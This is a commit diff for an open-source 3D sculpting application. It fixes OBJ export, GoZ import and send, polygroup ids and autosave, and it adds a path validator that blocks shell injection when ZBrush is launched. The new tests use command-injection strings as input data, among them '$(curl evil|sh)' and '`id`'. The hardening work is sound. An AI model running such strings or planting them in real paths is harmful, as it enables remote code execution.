Skip to content

Free, open-source 3D sculpting for Linux, macOS and Windows: dense meshes, remeshing, painting, built-in AI (image/text to 3D), Send to Unreal, game-ready LODs, Gaussian splats and OpenUSD.

Fix v0.2 review findings: OBJ export, GoZ import/send, polygroups, autosave

islandmede942d05b180d
diff --git a/src/app/App.cpp b/src/app/App.cpp
index e4693779..127e51ba 100644
--- a/src/app/App.cpp
+++ b/src/app/App.cpp
@@ -765,6 +765,8 @@ void App::queueFile(FileAction action, std::string path) {
: action == FileAction::ExportUnreal ? ".fbx"
: action == FileAction::SaveProject ? ".sfproj"
: ".glb";
+ else if (action == FileAction::SaveProject && !path.empty() && !isProjectPath(path))
+ path += kProjectExtension; // as save_project does, so the recent list gets the real name
std::lock_guard lock(pendingMutex_);
pendingFiles_.push_back({action, std::move(path)});
}
@@ -796,8 +798,16 @@ void App::saveFileDialog(FileAction action) {
: action == FileAction::ExportUnreal ? kFbxFilters
: kGlbFilters;
const int count = action == FileAction::SaveSplats ? 3 : 2;
+ // Suggest the document's name with .obj (not its .sfproj path, which save_obj refuses).
+ std::string suggestion;
+ if (obj && !doc_.path.empty()) {
+ const std::u8string s = std::filesystem::path(std::u8string(doc_.path.begin(), doc_.path.end()))
+ .replace_extension(".obj")
+ .u8string();
+ suggestion.assign(s.begin(), s.end());
+ }
SDL_ShowSaveFileDialog(onFileChosen, &dialogRequests_[int(action)], window_, filters, count,
- obj && !doc_.path.empty() ? doc_.path.c_str() : nullptr);
+ suggestion.empty() ? nullptr : suggestion.c_str());
}
AABB App::sceneBounds() const {
diff --git a/src/app/App.h b/src/app/App.h
index cf9d2ab3..ec4f50bd 100644
--- a/src/app/App.h
+++ b/src/app/App.h
@@ -14,6 +14,8 @@
#include <SDL3/SDL.h>
#include <imgui.h>
+#include <array>
+#include <cstdint>
#include <functional>
#include <future>
#include <memory>
@@ -253,6 +255,9 @@ private:
bool hideRectActive_ = false;
float hideRectX_ = 0.0f, hideRectY_ = 0.0f;
float polygroupAngle_ = 30.0f;
+ // visiblePolygroupCount is O(triangles): recomputed only when the key below changes.
+ size_t visibleGroups_ = 0;
+ std::array<uint64_t, 6> visibleGroupsKey_{};
// Stroke types, alphas and the extra brushes (PanelBrushes.cpp).
void drawBrushOptions();
void snakeHookTo(float x, float y);
diff --git a/src/app/PanelGoz.cpp b/src/app/PanelGoz.cpp
index 8d074236..d39afc20 100644
--- a/src/app/PanelGoz.cpp
+++ b/src/app/PanelGoz.cpp
@@ -93,7 +93,9 @@ void App::pollGoz() {
files.swap(gozPendingFiles_);
}
for (const auto& [kind, path] : files) {
- if (kind == GozFile::Import) runGozCommand("goz_import", {{"path", path}});
+ // Importing replaces the scene and its undo history, so ask about unsaved work first.
+ if (kind == GozFile::Import)
+ confirmDiscard([this, p = path] { runGozCommand("goz_import", {{"path", p}}); });
else runGozCommand(kind == GozFile::Export ? "goz_export" : "export_stl", {{"path", path}});
}
diff --git a/src/app/PanelPolygroups.cpp b/src/app/PanelPolygroups.cpp
index 09fd390a..48ba41d3 100644
--- a/src/app/PanelPolygroups.cpp
+++ b/src/app/PanelPolygroups.cpp
@@ -95,7 +95,15 @@ void App::drawPolygroupsSection() {
ImGui::SeparatorText("Polygroups");
ImGui::Checkbox("Show polygroups", &renderSettings_.showPolygroups);
ImGui::SameLine();
- ImGui::TextDisabled("%zu", visiblePolygroupCount(doc_.mesh));
+ const Mesh& m = doc_.mesh;
+ const std::array<uint64_t, 6> key = {doc_.undo.revision() + 1, uint64_t(doc_.modified), m.triangles.size(),
+ m.polygroups.size(), uint64_t(reinterpret_cast<uintptr_t>(m.polygroups.data())),
+ uint64_t(reinterpret_cast<uintptr_t>(m.hidden.data())) ^ m.hidden.size()};
+ if (key != visibleGroupsKey_) {
+ visibleGroupsKey_ = key;
+ visibleGroups_ = visiblePolygroupCount(m);
+ }
+ ImGui::TextDisabled("%zu", visibleGroups_);
if (ImGui::IsItemHovered()) ImGui::SetTooltip("Visible polygroups");
// Grouping buttons switch the polygroup colours on so the result is visible.
diff --git a/src/app/PanelProject.cpp b/src/app/PanelProject.cpp
index 67552b08..8a2be719 100644
--- a/src/app/PanelProject.cpp
+++ b/src/app/PanelProject.cpp
@@ -129,8 +129,10 @@ void App::tickProject(float dt) {
}
autosaveTimer_ += dt;
const uint64_t revision = doc_.undo.revision() * 1000003u + doc_.splatsVersion;
+ // Edits only `modified` tracks (layer weights, Python setters) leave the revision alone, so
+ // while it is set autosave every interval rather than trusting an unchanged revision.
if (autosaveMinutes_ <= 0 || autosaveTimer_ < float(autosaveMinutes_) * 60.0f || doc_.sculptor.strokeActive() ||
- revision == autosaveRevision_)
+ (revision == autosaveRevision_ && !doc_.modified))
return;
autosaveTimer_ = 0.0f;
storeProjectSettings();
diff --git a/src/core/Commands.cpp b/src/core/Commands.cpp
index e2aee9bf..a02511e2 100644
--- a/src/core/Commands.cpp
+++ b/src/core/Commands.cpp
@@ -243,15 +243,15 @@ CommandRegistry::CommandRegistry() {
}});
add({"save_obj",
- "Save the mesh as a Wavefront OBJ file.",
- {{"path", T::String, "File path (UTF-8). Defaults to the current document path.", false}},
+ "Export the mesh as a Wavefront OBJ file. OBJ cannot hold the mask, polygroups, visibility, sculpt layers "
+ "or splats, so this is an export: the document keeps its path and unsaved-changes state.",
+ {{"path", T::String, "File path (UTF-8). Defaults to the current document path unless that is a project.", false}},
[](Document& doc, const Args& a) -> CommandResult {
- std::string path = argString(a, "path", doc.path);
+ std::string path = argString(a, "path", isProjectPath(doc.path) ? std::string() : doc.path);
if (path.empty()) return {false, "No path given"};
+ if (isProjectPath(path)) return {false, "Use save_project for .sfproj files"};
std::string err;
if (!saveObj(path, doc.mesh, err)) return {false, err};
- doc.path = path;
- doc.markClean();
return {true, "Saved " + path};
}});
diff --git a/src/core/Project.cpp b/src/core/Project.cpp
index 4b2dd3b5..cd9141c9 100644
--- a/src/core/Project.cpp
+++ b/src/core/Project.cpp
@@ -372,7 +372,9 @@ void registerProjectCommands(CommandRegistry& registry) {
[](Document& doc, const Args& a) -> CommandResult {
std::string path = argString(a, "path", isProjectPath(doc.path) ? doc.path : std::string());
if (path.empty()) return {false, "No path given"};
- if (fsPath(path).extension().empty()) path += kProjectExtension;
+ // Any other extension too: "head.obj" must not overwrite an OBJ with a ZIP
+ // that open, isProjectPath and Ctrl+S would not recognise.
+ if (!isProjectPath(path)) path += kProjectExtension;
std::string err;
if (!saveProject(path, doc, err)) return {false, err};
doc.path = path;
diff --git a/src/core/Sculpt.cpp b/src/core/Sculpt.cpp
index fbe59754..d2cfd5a0 100644
--- a/src/core/Sculpt.cpp
+++ b/src/core/Sculpt.cpp
@@ -533,7 +533,10 @@ void Sculptor::restoreStroke(Mesh& mesh, BVH& bvh) {
// Polypaint laid down by the stroke so far (Paint brush / RGB while sculpting).
if (!record_.colors.empty() && mesh.hasColors()) {
const auto& ci = record_.colors.indices;
- for (size_t i = 0; i < ci.size(); ++i) mesh.colors[ci[i]] = record_.colors.values[i];
+ for (size_t i = 0; i < ci.size(); ++i) {
+ mesh.colors[ci[i]] = record_.colors.values[i];
+ mesh.markDirty(ci[i]); // paint-only strokes return before updateNormals marks anything
+ }
}
if (record_.positions.empty()) return;
auto& target = mesh.layerTarget(layer_);
diff --git a/src/io/GozIO.cpp b/src/io/GozIO.cpp
index db86c1cb..b29deeac 100644
--- a/src/io/GozIO.cpp
+++ b/src/io/GozIO.cpp
@@ -320,6 +320,19 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
std::vector<glm::vec2> faceUvs;
std::vector<uint16_t> faceGroups;
faces.reserve(nt);
+ // GoZ polygroups are 16-bit. Truncating larger ids would merge unrelated groups,
+ // so when any id is too big, number the distinct ids 0, 1, 2... instead (only
+ // more than 65536 distinct groups still have to share ids).
+ std::vector<uint32_t> groupIds;
+ if (groups && std::any_of(mesh.polygroups.begin(), mesh.polygroups.end(), [](uint32_t g) { return g > 0xffffu; })) {
+ groupIds = mesh.polygroups;
+ std::sort(groupIds.begin(), groupIds.end());
+ groupIds.erase(std::unique(groupIds.begin(), groupIds.end()), groupIds.end());
+ }
+ auto gozGroup = [&](uint32_t g) {
+ if (groupIds.empty()) return uint16_t(g);
+ return uint16_t(size_t(std::lower_bound(groupIds.begin(), groupIds.end(), g) - groupIds.begin()) & 0xffffu);
+ };
for (size_t t = 0; t < nt; ++t) {
const glm::uvec3& a = mesh.triangles[t];
const glm::vec2* ua = uvs ? &mesh.uvs[t * 3] : nullptr;
@@ -339,7 +352,7 @@ std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const G
faces.push_back({{a.x, a.y, a.z, kNoIndex}});
if (uvs) faceUvs.insert(faceUvs.end(), {ua[0], ua[1], ua[2], glm::vec2(0.0f, 0.0f)}); // GoB pads with (0, 1) in GoZ space
}
- if (groups) faceGroups.push_back(uint16_t(mesh.polygroups[t] & 0xffffu));
+ if (groups) faceGroups.push_back(gozGroup(mesh.polygroups[t]));
if (paired) ++t;
}
@@ -515,17 +528,42 @@ std::string gozObjectListPath(const std::string& root) {
return root.empty() ? std::string() : pathUtf8(utf8Path(root) / "GoZBrush" / "GoZ_ObjectList.txt");
}
+bool gozShellSafePath(const std::string& path) {
+ for (unsigned char c : path) {
+ if (c < 0x20 || c == 0x7f || c == '"' || c == '$' || c == '`' || c == '%' || c == '!') return false;
+#ifndef _WIN32
+ if (c == '\\') return false;
+#endif
+ }
+ return true;
+}
+
bool gozSend(const Mesh& mesh, const GozSendOptions& o, std::string& message) {
const std::string root = o.root.empty() ? gozDefaultRoot() : o.root;
if (root.empty()) {
message = gozUnavailableMessage();
return false;
}
+ std::error_code ec;
+ if (o.launch) { // these paths reach the shell (launchDetached)
+ if (!gozShellSafePath(root)) {
+ message = "The GoZ folder path contains characters that are not allowed when launching ZBrush";
+ return false;
+ }
+ if (!o.zbrushPath.empty()) {
+ std::string file = pathUtf8(utf8Path(o.zbrushPath).filename());
+ std::transform(file.begin(), file.end(), file.begin(), [](unsigned char c) { return char(std::tolower(c)); });
+ if (!gozShellSafePath(o.zbrushPath) || file.find("zbrush") == std::string::npos ||
+ !fs::exists(utf8Path(o.zbrushPath), ec)) {
+ message = "Not a ZBrush executable: " + o.zbrushPath;
+ return false;
+ }
+ }
+ }
if (mesh.triangleCount() == 0) {
message = "Nothing to send: the mesh is empty";
return false;
}
- std::error_code ec;
const fs::path rootPath = utf8Path(root);
const fs::path brush = rootPath / "GoZBrush";
const fs::path project = rootPath / "GoZProjects" / "Default";
diff --git a/src/io/GozIO.h b/src/io/GozIO.h
index 71422b04..f6724ee0 100644
--- a/src/io/GozIO.h
+++ b/src/io/GozIO.h
@@ -64,9 +64,16 @@ struct GozSendOptions {
std::string zbrushPath; // ZBrush executable to start if GoZBrushFromApp is missing (optional)
};
+// Launching goes through the shell ("start"/"open"), and goz_send is reachable
+// from scripts and the MCP server, so a path it launches must be free of quotes
+// and shell expansion characters ($ ` % ! and, outside Windows, backslash).
+bool gozShellSafePath(const std::string& path);
+
// Writes the mesh to <root>/GoZProjects/Default/<name>.GoZ, lists it in
// GoZBrush/GoZ_ObjectList.txt, names SculptForge in GoZ_Application.txt and
// (optionally) tells ZBrush to import it. `message` describes what happened.
+// With `launch`, a `zbrushPath` must name an existing ZBrush (its file name
+// contains "zbrush") and it and `root` must pass gozShellSafePath.
bool gozSend(const Mesh& mesh, const GozSendOptions& options, std::string& message);
// Reads every object in <root>/GoZBrush/GoZ_ObjectList.txt (what ZBrush last
diff --git a/tests/test_goz.cpp b/tests/test_goz.cpp
index d0704eec..36655a35 100644
--- a/tests/test_goz.cpp
+++ b/tests/test_goz.cpp
@@ -333,3 +333,40 @@ TEST(stl_round_trip_and_ascii) {
const char notStl[] = "hello";
CHECK(!parseStl(std::span(reinterpret_cast<const uint8_t*>(notStl), sizeof(notStl) - 1), tet, err));
}
+
+TEST(goz_large_polygroup_ids_stay_distinct) {
+ // GoZ ids are 16-bit: ids past 65535 are renumbered, not truncated into other groups.
+ Mesh m = makeIcosphere(2);
+ m.ensurePolygroups();
+ for (uint32_t t = 0; t < m.triangleCount(); ++t) m.polygroups[t] = t % 3 == 0 ? 1u : t % 3 == 1 ? 65536u : 65537u;
+ Mesh r;
+ std::string err;
+ CHECK(parseGoz(writeGoz(m, "Groups", GozWriteOptions{false}), r, err));
+ CHECK(r.polygroups.size() == m.polygroups.size());
+ bool same = r.polygroups.size() == m.polygroups.size();
+ for (size_t a = 0; same && a < m.polygroups.size(); ++a)
+ for (size_t b : {size_t(0), size_t(1), size_t(2)})
+ same = same && ((m.polygroups[a] == m.polygroups[b]) == (r.polygroups[a] == r.polygroups[b]));
+ CHECK(same); // the same partition into groups
+ std::vector<uint32_t> ids = r.polygroups;
+ std::sort(ids.begin(), ids.end());
+ CHECK(std::unique(ids.begin(), ids.end()) - ids.begin() == 3);
+}
+
+TEST(goz_send_refuses_shell_unsafe_launch_paths) {
+ namespace fs = std::filesystem;
+ CHECK(gozShellSafePath("/Applications/ZBrush 2024/ZBrush.app"));
+ for (const char* bad : {"$(curl evil|sh)", "x\" & calc & \"", "`id`", "%COMSPEC%", "a\nb"}) CHECK(!gozShellSafePath(bad));
+ const fs::path root = fs::temp_directory_path() / "sf_goz_unsafe";
+ fs::remove_all(root);
+ CommandRegistry reg;
+ Document doc = makeDoc(makeIcosphere(1));
+ CommandResult r = reg.execute(doc, "goz_send", {{"folder", root.string()}, {"zbrush", "$(curl evil|sh)"}});
+ CHECK(!r.ok && !fs::exists(root / "GoZProjects")); // refused before anything is written or run
+ r = reg.execute(doc, "goz_send", {{"folder", root.string()}, {"zbrush", (root / "calc").string()}});
+ CHECK(!r.ok); // not a ZBrush
+ r = reg.execute(doc, "goz_send", {{"folder", (root / "$(id)").string()}});
+ CHECK(!r.ok);
+ CHECK(reg.execute(doc, "goz_send", {{"folder", (root / "$(id)").string()}, {"launch", false}}).ok); // nothing launched
+ fs::remove_all(root);
+}
diff --git a/tests/test_polypaint.cpp b/tests/test_polypaint.cpp
index 1bb234c2..b8a17b7f 100644
--- a/tests/test_polypaint.cpp
+++ b/tests/test_polypaint.cpp
@@ -306,3 +306,17 @@ TEST(matcap_builtin_materials) {
// Deterministic.
CHECK(generateMatcap(findMatcap("Chrome"), size) == chrome);
}
+
+TEST(polypaint_restore_stroke_marks_colors_dirty) {
+ // DragRect re-stamps by restoring the stroke first: the reverted colours must reach the GPU.
+ Document doc = makeDoc(makeIcosphere(3));
+ Mesh& m = doc.mesh;
+ const uint32_t centre = nearestVertex(m, {1, 0, 0});
+ CHECK(doc.sculptor.beginStroke(m, "Paint"));
+ CHECK(paintDab(doc.sculptor, m, doc.bvh, paintParams(m.positions[centre], 0.5f), kRed, Symmetry{}) > 0);
+ m.clearDirty(); // uploaded
+ doc.sculptor.restoreStroke(m, doc.bvh);
+ CHECK(m.colors[centre] == glm::vec3(1.0f));
+ CHECK(m.dirtyBegin <= centre && centre < m.dirtyEnd);
+ doc.undo.push(doc.sculptor.endStroke());
+}
diff --git a/tests/test_project.cpp b/tests/test_project.cpp
index 609cc268..a8ae414f 100644
--- a/tests/test_project.cpp
+++ b/tests/test_project.cpp
@@ -275,3 +275,31 @@ TEST(project_recent_files_logic) {
CHECK((pruned == std::vector<std::string>{"/keep1", "/keep2"}));
CHECK(pruneRecentFiles({"/x"}, [](const std::string&) { return false; }).empty());
}
+
+TEST(project_save_obj_is_an_export) {
+ // OBJ drops the mask, groups, visibility and layers: it must not mark the project saved.
+ CommandRegistry reg;
+ Document doc = makeRichDoc();
+ const std::string proj = tempPath("sf_export_obj.sfproj"), obj = tempPath("sf_export_obj.obj");
+ CHECK(reg.execute(doc, "save_project", {{"path", proj}}).ok);
+ CHECK(reg.execute(doc, "mask_clear").ok);
+ CHECK(doc.dirty());
+ CHECK(reg.execute(doc, "save_obj", {{"path", obj}}).ok);
+ CHECK(std::filesystem::exists(obj));
+ CHECK(doc.dirty() && doc.path == proj);
+ CHECK(!reg.execute(doc, "save_obj").ok); // never writes an OBJ over the .sfproj
+ std::filesystem::remove(proj);
+ std::filesystem::remove(obj);
+}
+
+TEST(project_save_adds_extension_to_any_other_extension) {
+ CommandRegistry reg;
+ Document doc = makeRichDoc();
+ const std::string asked = tempPath("sf_project_head.obj");
+ std::filesystem::remove(asked);
+ CHECK(reg.execute(doc, "save_project", {{"path", asked}}).ok);
+ CHECK(!std::filesystem::exists(asked)); // the user's OBJ is untouched
+ CHECK(doc.path == asked + kProjectExtension && isProjectPath(doc.path));
+ CHECK(std::filesystem::exists(doc.path));
+ std::filesystem::remove(doc.path);
+}